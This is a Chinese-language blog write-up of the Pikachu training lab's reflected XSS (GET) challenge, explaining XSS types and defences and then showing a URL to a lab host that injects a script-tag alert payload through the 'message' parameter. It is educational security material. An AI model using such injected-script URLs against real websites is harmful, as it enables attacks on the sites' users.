【CTF Web】Pikachu 反射型xss(get) Writeup(反射型XSS+GET请求)

XSS(跨站脚本)概述

Cross-Site Scripting 简称为"CSS",为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。一般XSS可以分为如下几种常见类型:

1.反射性XSS;

2.存储型XSS;

3.DOM型XSS;

XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。

XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。

形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致"精心构造"的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。

因此在XSS漏洞的防范上,一般会采用"对输入进行过滤"和"输出进行转义"的方式进行处理:

输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;

输出转义:根据输出点的位置对输出到前端的内容进行适当转义;

你可以通过"Cross-Site Scripting"对应的测试栏目,来进一步的了解该漏洞。

提示

管tmd什么xss,首先你应该输入kobe看一下再说


解法

随便输入一些数据。

输入 kobe。

审查元素。

html 复制代码
<form method="get">
                    <input class="xssr_in" type="text" maxlength="20" name="message" data-sider-insert-id="8203990d-263f-46f3-bdf4-1b4e6e120c90" data-sider-select-id="8e51dad6-c817-42c0-a848-6261ae2b7ed3">
                    <input class="xssr_submit" type="submit" name="submit" value="submit">
                </form>

发送 GET 请求:

javascript 复制代码
http://172.17.149.214:8765/vul/xss/xss_reflected_get.php?message=<script>alert(1);</script>&submit=submit

出现弹窗。存在反射型 XSS 漏洞。


声明

本博客上发布的所有关于网络攻防技术的文章,仅用于教育和研究目的 。所有涉及到的实验操作都在虚拟机或者专门设计的靶机上进行,并且严格遵守了相关法律法规

博主坚决反对任何形式的非法黑客行为 ,包括但不限于未经授权的访问、攻击或破坏他人的计算机系统。博主强烈建议每位读者在学习网络攻防技术时,必须遵守法律法规不得用于任何非法目的 。对于因使用这些技术而导致的任何后果,博主不承担任何责任

相关推荐
萌萌哒草头将军18 分钟前
Node.js v24.6.0 新功能速览 🚀🚀🚀
前端·javascript·node.js
观北海1 小时前
网络安全蓝队常用工具全景与实战指南
安全·web安全
持久的棒棒君2 小时前
启动electron桌面项目控制台输出中文时乱码解决
前端·javascript·electron
人衣aoa2 小时前
PG靶机 - Pelican
web安全·网络安全·渗透测试·内网渗透
lingggggaaaa2 小时前
小迪安全v2023学习笔记(六十一讲)—— 持续更新中
笔记·学习·安全·web安全·网络安全·反序列化
小离a_a3 小时前
使用原生css实现word目录样式,标题后面的...动态长度并始终在标题后方(生成点线)
前端·css
郭优秀的笔记3 小时前
抽奖程序web程序
前端·css·css3
布兰妮甜4 小时前
CSS Houdini 与 React 19 调度器:打造极致流畅的网页体验
前端·css·react.js·houdini
小小愿望4 小时前
ECharts 实战技巧:揭秘 X 轴末项标签 “莫名加粗” 之谜及破解之道
前端·echarts
小小愿望4 小时前
移动端浏览器中设置 100vh 却出现滚动条?
前端·javascript·css